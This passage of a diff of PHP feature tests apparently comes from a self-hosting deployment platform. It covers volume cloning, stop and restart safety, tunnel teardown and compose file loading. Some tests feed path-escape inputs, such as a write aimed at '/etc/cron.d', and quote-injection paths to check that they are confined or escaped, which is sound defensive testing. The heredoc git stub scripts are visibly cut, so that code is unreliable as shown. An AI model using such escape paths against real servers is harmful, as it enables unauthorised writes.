str_contains($notification->message, 'started') + && str_contains($notification->message, 'docker stop timed out')); +}); + +test('cloning volume data needs the permission to stop the source resource', function () { + Bus::fake(); + Gate::before(fn ($user, string $ability) => $ability === 'stop' ? false : null); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid); + + expect(Service::query()->count())->toBe(1); + Bus::assertNotDispatched(CallQueuedClosure::class); + + Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + ]) + ->set('selectedDestination', $this->destination->uuid) + ->set('newName', 'cloned-env') + ->set('cloneVolumeData', true) + ->call('clone', 'environment'); + + expect(Service::query()->count())->toBe(1) + ->and($this->project->environments()->where('name', 'cloned-env')->exists())->toBeFalse(); + Bus::assertNotDispatched(CallQueuedClosure::class); +}); + +test('cloning without volume data needs no stop permission and stops nothing', function () { + Bus::fake(); + Gate::before(fn ($user, string $ability) => $ability === 'stop' ? false : null); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + expect(Service::query()->count())->toBe(2); + Bus::assertNotDispatched(CallQueuedClosure::class); + Bus::assertNotDispatched(VolumeCloneJob::class); +}); + +test('cloning a running database with volume data copies its volumes in one chain between stop and start', function (string $component) { + Bus::fake(); + $database = StandalonePostgresql::create([ + 'name' => 'orders-db', 'postgres_user' => 'postgres', 'postgres_password' => 'password', 'postgres_db' => 'db', + 'image' => 'postgres:17', 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, 'destination_type' => $this->destination->getMorphClass(), + ]); + $database->forceFill(['status' => 'running:healthy'])->saveQuietly(); + LocalPersistentVolume::query()->where('resource_type', $database->getMorphClass())->where('resource_id', $database->id)->delete(); + foreach (['postgres-data-'.$database->uuid, $database->uuid.'-extra'] as $name) { + LocalPersistentVolume::create([ + 'name' => $name, + 'mount_path' => '/data/'.$name, + 'resource_id' => $database->id, + 'resource_type' => $database->getMorphClass(), + ]); + } + $this->service->delete(); + + if ($component === ResourceOperations::class) { + Livewire::test(ResourceOperations::class, ['resource' => $database]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + } else { + Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + ]) + ->set('selectedDestination', $this->destination->uuid) + ->set('newName', 'cloned-env') + ->set('cloneVolumeData', true) + ->call('clone', 'environment') + ->assertHasNoErrors(); + } + + Bus::assertNotDispatched(VolumeCloneJob::class); + Bus::assertChained([ + CallQueuedClosure::class, + VolumeCloneJob::class, + VolumeCloneJob::class, + CallQueuedClosure::class, + ]); +})->with([ + 'resource operations' => [ResourceOperations::class], + 'environment clone' => [CloneMe::class], +]); + +test('a restored same-server volume clone job has explicit Horizon tags', function () { + $server = $this->destination->server; + $volume = LocalPersistentVolume::create(['name' => 'clone-target', 'mount_path' => '/data', 'resource_id' => 1, 'resource_type' => Service::class]); + + // Without explicit tags, Horizon compares the job's models with `==`. Two restored copies of one + // server fail that comparison on PHP 8.4 ("Nesting level too deep"), so the chain stops before the copy. + $restoredJob = unserialize(serialize(new VolumeCloneJob('clone-source', 'clone-target', $server, $server, $volume))); + + expect(Tags::extractExplicitTags($restoredJob))->toBe([Server::class.':'.$server->id, LocalPersistentVolume::class.':'.$volume->id]); +}); + +function cloneSafetyCreateDatabase(object $test, string $status): StandalonePostgresql +{ + $database = StandalonePostgresql::create([ + 'name' => 'api-db', 'postgres_user' => 'postgres', 'postgres_password' => 'password', 'postgres_db' => 'db', + 'image' => 'postgres:17', 'environment_id' => $test->environment->id, + 'destination_id' => $test->destination->id, 'destination_type' => $test->destination->getMorphClass(), + ]); + $database->forceFill(['status' => $status])->saveQuietly(); + + return $database; +} + +function cloneSafetyApiHeaders(User $user, int $teamId): array +{ + $plainTextToken = Str::random(40); + $token = $user->tokens()->create([ + 'name' => 'clone-safety', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $teamId, + ]); + auth()->forgetGuards(); + + return ['Authorization' => 'Bearer '.$token->getKey().'|'.$plainTextToken]; +} + +function cloneSafetyCreateApplication(object $test, string $status): Application +{ + $application = Application::factory()->create([ + 'environment_id' => $test->environment->id, + 'destination_id' => $test->destination->id, + 'destination_type' => $test->destination->getMorphClass(), + ]); + $application->forceFill(['status' => $status])->saveQuietly(); + LocalPersistentVolume::create([ + 'name' => $application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $application->id, + 'resource_type' => $application->getMorphClass(), + ]); + + return $application; +} + +test('a failed volume copy of a running database cloned through the API starts it again and notifies the team', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyFailVolumeCopy(); + $database = cloneSafetyCreateDatabase($this, 'running:healthy'); + StopDatabase::shouldRun()->once()->withArgs(fn ($source) => $source->is($database)); + StartDatabase::shouldRun()->once()->withArgs(fn ($source) => $source->is($database)); + + $this->withHeaders(cloneSafetyApiHeaders($this->user, $this->team->id)) + ->postJson("/api/v1/databases/{$database->uuid}/clone", [ + 'destination_uuid' => $this->destination->uuid, + 'clone_volumes' => true, + ]) + ->assertCreated(); + + cloneSafetyWorkQueue(); + + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => $notification->success === false + && str_contains($notification->message, 'api-db') + && str_contains($notification->message, 'No space left on device')); +}); + +test('a failed stop of a running database cloned through the API copies no data and leaves it running', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + $database = cloneSafetyCreateDatabase($this, 'running:healthy'); + cloneSafetyListRunningContainers($database->uuid); + StopDatabase::shouldRun()->once()->andReturn('Database stop failed: Connection refused'); + StartDatabase::shouldRun()->never(); + + $this->withHeaders(cloneSafetyApiHeaders($this->user, $this->team->id)) + ->postJson("/api/v1/databases/{$database->uuid}/clone", [ + 'destination_uuid' => $this->destination->uuid, + 'clone_volumes' => true, + ]) + ->assertCreated(); + + cloneSafetyWorkQueue(); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, 'did not copy') + && str_contains($notification->message, 'api-db') + && str_contains($notification->message, 'Connection refused')); +}); + +test('cloning a running database through the API copies its volumes after a successful stop', function () { + cloneSafetyUseDatabaseQueue(); + $database = cloneSafetyCreateDatabase($this, 'running:healthy'); + StopDatabase::shouldRun()->once()->andReturn('Database stopped successfully'); + StartDatabase::shouldRun()->once(); + + $this->withHeaders(cloneSafetyApiHeaders($this->user, $this->team->id)) + ->postJson("/api/v1/databases/{$database->uuid}/clone", [ + 'destination_uuid' => $this->destination->uuid, + 'clone_volumes' => true, + ]) + ->assertCreated(); + + cloneSafetyWorkQueue(); + + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + expect(DB::table('failed_jobs')->count())->toBe(0); + Notification::assertNothingSent(); +}); + +test('cloning a stopped database through the API copies its volumes without stopping or starting it', function () { + Bus::fake(); + $database = cloneSafetyCreateDatabase($this, 'exited'); + + $this->withHeaders(cloneSafetyApiHeaders($this->user, $this->team->id)) + ->postJson("/api/v1/databases/{$database->uuid}/clone", [ + 'destination_uuid' => $this->destination->uuid, + 'clone_volumes' => true, + ]) + ->assertCreated(); + + Bus::assertNotDispatched(CallQueuedClosure::class); + Bus::assertDispatched(VolumeCloneJob::class); +}); + +/** + * `docker ps` lists the running containers: before the stop the given ones, after it the remaining ones. + * + * @param list $before + * @param list $after + */ +function cloneSafetyListRunningContainersBeforeAndAfterStop(array $before, array $after): void +{ + $listings = 0; + Process::fake(function (PendingProcess $process) use (&$listings, $before, $after) { + if (! str_contains(remoteProcessScript($process), 'docker ps --filter')) { + return Process::result(output: ''); + } + + return Process::result(output: implode("\n", $listings++ === 0 ? $before : $after)); + }); +} + +function cloneSafetyCloneApplicationWithVolumes(object $test, Application $application): void +{ + $test->service->delete(); + Livewire::test(ResourceOperations::class, ['resource' => $application]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $test->destination->uuid) + ->assertHasNoErrors(); + cloneSafetyWorkQueue(); +} + +test('a failed stop that took down some containers of the source application redeploys the commit that ran before', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + $application = cloneSafetyCreateApplication($this, 'running:healthy'); + $runningCommit = str_repeat('a', 40); + foreach ([$runningCommit => now()->subHour(), str_repeat('b', 40) => now()->subDay()] as $commit => $updatedAt) { + ApplicationDeploymentQueue::create([ + 'application_id' => $application->id, 'deployment_uuid' => new_public_id(), 'pull_request_id' => 0, + 'commit' => $commit, 'status' => 'finished', 'server_id' => $this->destination->server_id, 'destination_id' => $this->destination->id, + ])->forceFill(['updated_at' => $updatedAt])->saveQuietly(); + } + cloneSafetyListRunningContainersBeforeAndAfterStop(['web-'.$application->uuid, 'worker-'.$application->uuid], ['worker-'.$application->uuid]); + StopApplication::shouldRun()->once()->andReturn('docker stop failed for worker'); + + cloneSafetyCloneApplicationWithVolumes($this, $application); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + $deployments = ApplicationDeploymentQueue::query()->where('application_id', $application->id)->orderBy('id')->get(); + expect($deployments)->toHaveCount(3); + $redeploy = $deployments->last(); + expect($redeploy->commit)->toBe($runningCommit) + ->and($redeploy->pull_request_id)->toBe(0); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => $notification->success === false + && str_contains($notification->message, 'did not copy') + && str_contains($notification->message, "started a redeploy of '{$application->name}'") + && str_contains($notification->message, 'docker stop failed for worker')); +}); + +test('a failed stop that took down containers of a source application without a known commit redeploys its configured commit', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + $application = cloneSafetyCreateApplication($this, 'running:healthy'); + cloneSafetyListRunningContainersBeforeAndAfterStop(['web-'.$application->uuid, 'worker-'.$application->uuid], ['worker-'.$application->uuid]); + StopApplication::shouldRun()->once()->andReturn(null); + + cloneSafetyCloneApplicationWithVolumes($this, $application); + + expect(ApplicationDeploymentQueue::query()->where('application_id', $application->id)->sole()->commit)->toBe('HEAD'); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, "started a redeploy of '{$application->name}'") + && str_contains($notification->message, 'could not find the commit')); +}); + +test('a failed stop that took down no container of the source application does not redeploy it', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + $application = cloneSafetyCreateApplication($this, 'running:healthy'); + cloneSafetyListRunningContainersBeforeAndAfterStop(['web-'.$application->uuid], ['web-'.$application->uuid]); + StopApplication::shouldRun()->once()->andReturn('Server is not functional'); + + cloneSafetyCloneApplicationWithVolumes($this, $application); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + expect(ApplicationDeploymentQueue::query()->where('application_id', $application->id)->count())->toBe(0); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, 'did not copy') + && str_contains($notification->message, 'is still running')); +}); + +test('cloning a running application with volume data copies its volumes in one chain between stop and start', function () { + Bus::fake(); + $application = cloneSafetyCreateApplication($this, 'running:healthy'); + $this->service->delete(); + + Livewire::test(ResourceOperations::class, ['resource' => $application]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + Bus::assertChained([CallQueuedClosure::class, VolumeCloneJob::class, CallQueuedClosure::class]); + expect(ApplicationDeploymentQueue::query()->count())->toBe(0); +}); + +test('cloning a stopped application with volume data neither stops nor redeploys it', function () { + Bus::fake(); + $application = cloneSafetyCreateApplication($this, 'exited'); + $this->service->delete(); + + Livewire::test(ResourceOperations::class, ['resource' => $application]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + Bus::assertNotDispatched(CallQueuedClosure::class); + Bus::assertDispatched(VolumeCloneJob::class); + expect(ApplicationDeploymentQueue::query()->count())->toBe(0); +}); diff --git a/tests/Feature/CloudflareTunnelApiSetupTest.php b/tests/Feature/CloudflareTunnelApiSetupTest.php index 3597e7f0dc..acc1e22256 100644 --- a/tests/Feature/CloudflareTunnelApiSetupTest.php +++ b/tests/Feature/CloudflareTunnelApiSetupTest.php @@ -272,7 +272,7 @@ describe('disable', function () { ->assertNotDispatched('warning'); // Detached, so stopping cloudflared does not cut the SSH session that runs through the tunnel. - Process::assertRan(fn ($process) => str_contains($process->command, "nohup setsid sh -c 'sleep 2; docker rm -f coolify-cloudflared' > /dev/null 2>&1 < /dev/null &")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "nohup setsid sh -c 'sleep 2; docker rm -f coolify-cloudflared' > /dev/null 2>&1 < /dev/null &")); Sleep::assertNeverSlept(); Http::assertSent(fn (Request $request) => $request->method() === 'DELETE' && str_ends_with($request->url(), CF_TUNNEL_API.'/tun-1')); @@ -335,7 +335,7 @@ describe('disable', function () { Livewire::test(CloudflareTunnel::class, ['server_uuid' => $this->server->uuid]) ->call('toggleCloudflareTunnels'); - Process::assertRan(fn ($process) => str_contains($process->command, + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sudo bash -c 'nohup setsid sh -c '\\''sleep 2; docker rm -f coolify-cloudflared'\\'' > /dev/null 2>&1 < /dev/null &'")); }); diff --git a/tests/Feature/ComposeContentVolumeConfinementTest.php b/tests/Feature/ComposeContentVolumeConfinementTest.php index 9df9ac2466..7218de04b6 100644 --- a/tests/Feature/ComposeContentVolumeConfinementTest.php +++ b/tests/Feature/ComposeContentVolumeConfinementTest.php @@ -132,8 +132,8 @@ function contentHostPathUseServerUser(string $user): void function contentHostPathFakeServer(): void { Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'readlink -f') => 'OK', - str_contains($process->command, 'test -') => 'NOK', + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + str_contains(remoteProcessScript($process), 'test -') => 'NOK', default => '', })); } @@ -165,8 +165,8 @@ function contentHostPathAssertWritten(string $path, string $content, string $use $escapedParent = escapeshellarg(dirname($path)); $base64 = base64_encode($content); - Process::assertRan(fn ($process) => str_contains($process->command, "{$sudo}mkdir -p {$escapedParent}")); - Process::assertRan(fn ($process) => str_contains($process->command, "echo '{$base64}' | {$sudo}base64 -d | {$sudo}tee {$escapedPath} > /dev/null")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "{$sudo}mkdir -p {$escapedParent}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "echo '{$base64}' | {$sudo}base64 -d | {$sudo}tee {$escapedPath} > /dev/null")); } /** @@ -230,8 +230,8 @@ test('loading files for a service writes content inside the resource directory', $sudo = $user === 'root' ? '' : 'sudo '; $escapedPath = escapeshellarg($writePath); $base64 = base64_encode($content); - Process::assertRan(fn ($process) => str_contains($process->command, "{$sudo}mkdir -p -- \"$({$sudo}dirname -- {$escapedPath})\"")); - Process::assertRan(fn ($process) => str_contains($process->command, "echo '{$base64}' | {$sudo}base64 -d | {$sudo}tee -- {$escapedPath}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "{$sudo}mkdir -p -- \"$({$sudo}dirname -- {$escapedPath})\"")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "echo '{$base64}' | {$sudo}base64 -d | {$sudo}tee -- {$escapedPath}")); })->with([ 'home directory' => ['/etc/b.conf', 'b'], 'bare relative path' => ['/etc/c.conf', 'c'], @@ -247,7 +247,7 @@ test('loading files for a service does not write content outside the resource di contentHostPathFakeServer(); getFilesystemVolumesFromServer($fileVolume->resource, true); - Process::assertNotRan(fn ($process) => str_contains($process->command, base64_encode($content))); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), base64_encode($content))); })->with([ 'absolute host file' => ['/etc/a.conf', 'a'], 'parent directory' => ['/etc/d.conf', 'd'], @@ -266,8 +266,8 @@ test('a quote in a content path is shell-escaped in every write command', functi $fileVolume->saveStorageOnServer(); $sudo = $user === 'root' ? '' : 'sudo '; - Process::assertRan(fn ($process) => str_contains($process->command, "{$sudo}tee '/etc/my'\\''app/app.conf' > /dev/null")); - Process::assertRan(fn ($process) => str_contains($process->command, "{$sudo}mkdir -p '/etc/my'\\''app'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "{$sudo}tee '/etc/my'\\''app/app.conf' > /dev/null")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "{$sudo}mkdir -p '/etc/my'\\''app'")); })->with(['root', 'coolify']); test('the parsers reject shell injection in a content volume source', function () { @@ -294,8 +294,8 @@ test('a bind mount without content keeps its administrator-selected host path', contentHostPathFakeServer(); $fileVolume->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '/srv/shared'")); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'readlink -f')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '/srv/shared'")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'readlink -f')); }); test('the service stack form saves content volumes with host paths', function () { @@ -357,7 +357,7 @@ test('the application General form rejects shell injection in a content volume s function contentHostPathFakeGitCompose(string $compose): void { Process::fake(function ($process) use ($compose) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: match (true) { str_contains($command, 'git cat-file blob') => $compose, @@ -436,5 +436,5 @@ test('loading files for a service does not create directories outside the resour contentHostPathFakeServer(); getFilesystemVolumesFromServer($fileVolume->resource, true); - Process::assertNotRan(fn ($process) => str_contains($process->command, '/etc/cron.d/coolify-test') && str_contains($process->command, 'mkdir')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), '/etc/cron.d/coolify-test') && str_contains(remoteProcessScript($process), 'mkdir')); }); diff --git a/tests/Feature/ComposeExternalVolumeTest.php b/tests/Feature/ComposeExternalVolumeTest.php index 08d8f16c09..af9dcee98f 100644 --- a/tests/Feature/ComposeExternalVolumeTest.php +++ b/tests/Feature/ComposeExternalVolumeTest.php @@ -261,7 +261,7 @@ function loginExternalVolumeOwner(): void function fakeExternalVolumeServer(array &$commands): void { Process::fake(function ($process) use (&$commands) { - $commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/ComposeFileLoadCommandsTest.php b/tests/Feature/ComposeFileLoadCommandsTest.php index b9ed445fe9..92dd32f45e 100644 --- a/tests/Feature/ComposeFileLoadCommandsTest.php +++ b/tests/Feature/ComposeFileLoadCommandsTest.php @@ -1,9 +1,14 @@ and($process->getErrorOutput())->toContain('symbolic link') ->and($process->getErrorOutput())->not->toContain('linked-target-value'); }); + +test('the Compose file loads from a Git submodule with a deploy key', function (string $user) { + Storage::fake('ssh-keys'); + $submoduleSource = $this->root.'/infra-src'; + mkdir($submoduleSource); + file_put_contents("{$submoduleSource}/docker-compose.yml", $this->compose); + $gitEnv = ['GIT_CONFIG_COUNT' => '1', 'GIT_CONFIG_KEY_0' => 'protocol.file.allow', 'GIT_CONFIG_VALUE_0' => 'always']; + foreach ([ + [$submoduleSource, ['git', 'init', '-q', '-b', 'main']], + [$submoduleSource, ['git', 'add', '-A']], + [$submoduleSource, ['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', 'commit', '-qm', 'infra']], + [$submoduleSource, ['git', 'clone', '-q', '--bare', '.', $this->root.'/infra.git']], + [$this->root.'/src', ['git', 'submodule', '-q', 'add', $this->root.'/infra.git', 'infra']], + [$this->root.'/src', ['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', 'commit', '-qm', 'add infra']], + [$this->root.'/src', ['git', 'push', '-q', $this->root.'/repo.git', 'main']], + ] as [$cwd, $command]) { + (new Process($command, $cwd, $gitEnv))->mustRun(); + } + + // A git stub that clones the SSH remote from the local bare repository, and fails a submodule + // update like an SSH authentication error when the deploy key of GIT_SSH_COMMAND is missing. + $realGit = trim((new Process(['sh', '-c', 'command -v git']))->mustRun()->getOutput()); + file_put_contents($this->root.'/bin/git', <<&2; exit 128; fi + fi + exec {$realGit} "\${args[@]}" + SH); + chmod($this->root.'/bin/git', 0755); + + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'git_repository' => 'git@git.example.com:org/repo.git', + 'git_branch' => 'main', + 'git_commit_sha' => 'HEAD', + 'base_directory' => '/', + 'docker_compose_location' => '/infra/docker-compose.yml', + 'private_key_id' => PrivateKey::factory()->create()->id, + ]); + $application->settings->update(['is_git_submodules_enabled' => true]); + $uuid = 'compose-load-'.bin2hex(random_bytes(4)); + + $commands = (new ReflectionMethod(Application::class, 'composeFileReadCommands'))->invoke($application->fresh(), $uuid); + // Keep the deploy key out of the real /root/.ssh of the test host. + $commands = $commands->map(fn (string $command) => str_replace('/root/.ssh', $this->root.'/ssh', $command)); + if ($user !== 'root') { + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('getAttribute')->with('user')->andReturn($user); + $server->shouldReceive('setAttribute')->andReturnSelf(); + $commands = collect(parseCommandsByLineForSudo($commands, $server)); + } + + $process = new Process(['bash', '-se'], env: ['PATH' => $this->root.'/bin:'.getenv('PATH')] + $gitEnv); + $process->setInput($commands->implode("\n")."\n"); + $process->run(); + (new Process(['rm', '-rf', "/tmp/{$uuid}"]))->run(); + + expect($process->getErrorOutput())->not->toContain('Permission denied') + ->and($process->getExitCode())->toBe(0) + ->and($process->getOutput())->toBe($this->compose) + ->and(glob($this->root.'/ssh/*'))->toBe([]); +})->with([ + 'root' => ['root'], + 'non-root' => ['ubuntu'], +]); + +test('a pinned commit loads the Compose file of that commit for every source type', function (string $sourceType, bool $shallow, string $user) { + Storage::fake('ssh-keys'); + $pinnedCommit = $this->commit; + file_put_contents($this->root.'/src/apps/web/docker-compose.yml', "services:\n api:\n image: branch-head\n"); + foreach ([ + ['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', 'commit', '-qam', 'branch head'], + ['git', 'push', '-q', $this->root.'/repo.git', 'main'], + ] as $command) { + (new Process($command, $this->root.'/src'))->mustRun(); + } + + // A git stub that sends every remote URL (HTTPS with a token, or SSH) to the local bare repository. + $realGit = trim((new Process(['sh', '-c', 'command -v git']))->mustRun()->getOutput()); + file_put_contents($this->root.'/bin/git', <<root.'/bin/git', 0755); + + $privateKey = PrivateKey::factory()->create(); + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'git_repository' => $sourceType === 'other' ? $this->root.'/repo.git' : 'git@git.example.com:org/repo.git', + 'git_branch' => 'main', + 'git_commit_sha' => $pinnedCommit, + 'base_directory' => '/apps/web', + 'docker_compose_location' => '/docker-compose.yml', + 'private_key_id' => $sourceType === 'deploy key' ? $privateKey->id : null, + ]); + $application->settings->update(['is_git_shallow_clone_enabled' => $shallow]); + $application = $application->fresh(); + + if ($sourceType === 'GitHub App') { + $application->git_repository = 'org/repo'; + $source = Mockery::mock(GithubApp::class)->makePartial(); + $source->forceFill(['html_url' => 'https://github.example.test', 'is_public' => false]); + $source->shouldReceive('getMorphClass')->andReturn(GithubApp::class); + $source->shouldReceive('installationToken')->andReturn('ghs_token'); + $application->setRelation('source', $source); + } elseif ($sourceType === 'Gitea token') { + $application->git_repository = 'org/repo'; + $source = (new GiteaApp)->forceFill(['html_url' => 'https://gitea.example.test', 'api_url' => 'https://gitea.example.test/api/v1', 'is_public' => false]); + $source->access_token = 'gitea-token'; + $source->refresh_token = 'gitea-refresh-token'; + $source->expires_at = time() + 3600; + $application->setRelation('source', $source); + } elseif ($sourceType === 'GitLab SSH key') { + $source = (new GitlabApp)->forceFill(['html_url' => 'https://gitlab.example.test', 'team_id' => $privateKey->team_id, 'custom_port' => 22]); + $source->setRelation('privateKey', $privateKey); + $application->setRelation('source', $source); + } + + $uuid = 'compose-load-'.bin2hex(random_bytes(4)); + $commands = (new ReflectionMethod(Application::class, 'composeFileReadCommands'))->invoke($application, $uuid); + // Keep the deploy key out of the real /root/.ssh of the test host. + $commands = $commands->map(fn (string $command) => str_replace('/root/.ssh', $this->root.'/ssh', $command)); + if ($user !== 'root') { + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('getAttribute')->with('user')->andReturn($user); + $server->shouldReceive('setAttribute')->andReturnSelf(); + $commands = collect(parseCommandsByLineForSudo($commands, $server)); + } + + $process = new Process(['bash', '-se'], env: ['PATH' => $this->root.'/bin:'.getenv('PATH')]); + $process->setInput($commands->implode("\n")."\n"); + $process->run(); + (new Process(['rm', '-rf', "/tmp/{$uuid}"]))->run(); + + expect($process->getErrorOutput())->not->toContain('syntax error') + ->and($process->getExitCode())->toBe(0) + ->and($process->getOutput())->toBe($this->compose); +})->with([ + 'public URL' => ['other'], + 'deploy key' => ['deploy key'], + 'GitHub App' => ['GitHub App'], + 'Gitea token' => ['Gitea token'], + 'GitLab SSH key' => ['GitLab SSH key'], +])->with([ + 'full clone' => [false], + 'shallow clone' => [true], +])->with([ + 'root' => ['root'], + 'non-root' => ['ubuntu'], +]); diff --git a/tests/Feature/ComposeFileLoadErrorTest.php b/tests/Feature/ComposeFileLoadErrorTest.php index 5513cfe8d4..c266f5c795 100644 --- a/tests/Feature/ComposeFileLoadErrorTest.php +++ b/tests/Feature/ComposeFileLoadErrorTest.php @@ -35,7 +35,7 @@ beforeEach(function () { function fakeComposeLoadServer(?string $failingStep, string $errorOutput): void { Process::fake(function ($process) use ($failingStep, $errorOutput) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if ($failingStep !== null && str_contains($command, $failingStep)) { return Process::result(errorOutput: $errorOutput, exitCode: 128); } diff --git a/tests/Feature/ComposePreviewEnvironmentValuesTest.php b/tests/Feature/ComposePreviewEnvironmentValuesTest.php new file mode 100644 index 0000000000..eb6657c480 --- /dev/null +++ b/tests/Feature/ComposePreviewEnvironmentValuesTest.php @@ -0,0 +1,109 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->first() + ?? StandaloneDocker::factory()->create(['server_id' => $server->id]); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + SharedEnvironmentVariable::create([ + 'key' => 'TEAM_SECRET', 'value' => 'team-secret-value', 'type' => 'team', 'team_id' => $team->id, + ]); + + $this->application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'docker_compose_raw' => <<<'YAML' +services: + web: + image: nginx:alpine + environment: + CHANGED_FOR_PREVIEW: '' + SAME_AS_PRODUCTION: '' + FROM_TEAM: '{{team.TEAM_SECRET}}' +YAML, + ]); + + // Creating a production variable also creates a preview copy with the same value. + foreach (['CHANGED_FOR_PREVIEW', 'SAME_AS_PRODUCTION'] as $key) { + EnvironmentVariable::create([ + 'key' => $key, + 'value' => 'production-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'is_preview' => false, + ]); + } + $this->application->environment_variables_preview()->where('key', 'CHANGED_FOR_PREVIEW')->firstOrFail() + ->update(['value' => 'preview-value']); +}); + +function composePreviewEnvironmentValues(Application $application, int $pullRequestId = 0): array +{ + $previewId = null; + if ($pullRequestId !== 0) { + $previewId = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => "https://github.com/example/repository/pull/{$pullRequestId}", + ])->id; + } + + $serviceName = $pullRequestId === 0 ? 'web' : "web-pr-{$pullRequestId}"; + $environment = collect(data_get($application->fresh()->parse(pull_request_id: $pullRequestId, preview_id: $previewId)->toArray(), "services.{$serviceName}.environment")); + + return $environment->only(['CHANGED_FOR_PREVIEW', 'SAME_AS_PRODUCTION', 'FROM_TEAM'])->all(); +} + +it('fills empty compose values of a production deployment with the production variables', function () { + expect(composePreviewEnvironmentValues($this->application))->toBe([ + 'CHANGED_FOR_PREVIEW' => 'production-value', + 'SAME_AS_PRODUCTION' => 'production-value', + 'FROM_TEAM' => 'team-secret-value', + ]); +}); + +it('fills empty compose values of a pull request deployment with the preview variables', function () { + expect(composePreviewEnvironmentValues($this->application, 7))->toBe([ + 'CHANGED_FOR_PREVIEW' => 'preview-value', + 'SAME_AS_PRODUCTION' => 'production-value', + 'FROM_TEAM' => 'team-secret-value', + ]); +}); + +it('gives a public pull request deployment no production values or shared variables from the compose file', function () { + $this->application->settings->update(['is_pr_deployments_public_enabled' => true]); + + expect(composePreviewEnvironmentValues($this->application, 7))->toBe([ + 'CHANGED_FOR_PREVIEW' => 'preview-value', + 'SAME_AS_PRODUCTION' => '', + 'FROM_TEAM' => '{{team.TEAM_SECRET}}', + ]); +}); + +it('resolves shared variables in a preview value of a public pull request deployment', function () { + $this->application->settings->update(['is_pr_deployments_public_enabled' => true]); + 